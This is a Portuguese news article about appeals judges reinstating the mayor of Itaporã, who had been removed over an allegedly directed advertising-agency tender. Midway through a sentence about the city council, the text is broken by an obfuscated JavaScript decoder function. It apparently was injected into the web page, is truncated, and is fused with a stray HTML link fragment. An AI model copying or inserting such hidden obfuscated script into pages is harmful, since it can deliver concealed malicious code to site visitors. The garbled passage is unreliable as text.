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Desembargadores acatam recurso e reconduzem prefeito afastado ao cargo

Redação

Desembargadores da 4ª Câmara Cível reconduziram ao cargo o prefeito de Itaporã, a 227 quilômetros de Campo Grande, Wallas Gonçalves Milfont (PDT). Ele havia sido afastado em abril acusado de direcionar uma licitação realizada em novembro de 2014 para a contratação de uma agência de publicidade.

Todos os magistrados acompanharam o relator do caso, Amaury da Silva Kuklinski.

O caso que envolve Milfont foi investigado pela Operação Layout, do Gaeco (Grupo de Atuação Especial de Repressão ao Crime Organizado), no ano passado. O afastamento dele, determinado pela comarca local, tinha validade de 180 dias e deveria vencer em outubro.

A mesma decisão também impediu a empresa 2000 Publicidade Marketing e Comunicação Ltda, vencedora licitação irregular, de manter contratos com a administração pública até o julgamento da questão.

Essa irregularidade chegou a ser questionada na Câmara Municipal de Itaporã, porém a abertura de uma CPI (Comissão Parlamentar de Inquérito) foi rejeitada pelos function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/eleicoes-2016" target="_blank">vereadores. A denúncia surgiu após uma empresa ter se sentido prejudicada durante o processo licitatório.

Segundo o MPE, os acusados tentaram ainda dificultar a colheita de provas, além de negar que havia um acordo direcionando o certame para a vitória de empresa pré-determinada. A execução dos contratos também foi negada, já que Wallas afirma que eles estavam suspensos. Ele atribui a denúncia a motivação política.

Ao Campo Grande News na época, o prefeito disse que seu afastamento foi “injusto e ilegal” e que sua permanência no cargo não atrapalhas investigações, como alegou o MPE.

Segundo ele, na época em que foi retirado da administração municipal, a apuração corria há mais de 16 meses, tendo sido ouvidas testemunhas e fornecidos voluntariamente todos os documentos solicitados pelos agentes do Gaeco. Além disso, mandado de busca e apreensão foi cumprido na casa do gestor e nas sedes das empresas.

Via:Campo Grande News

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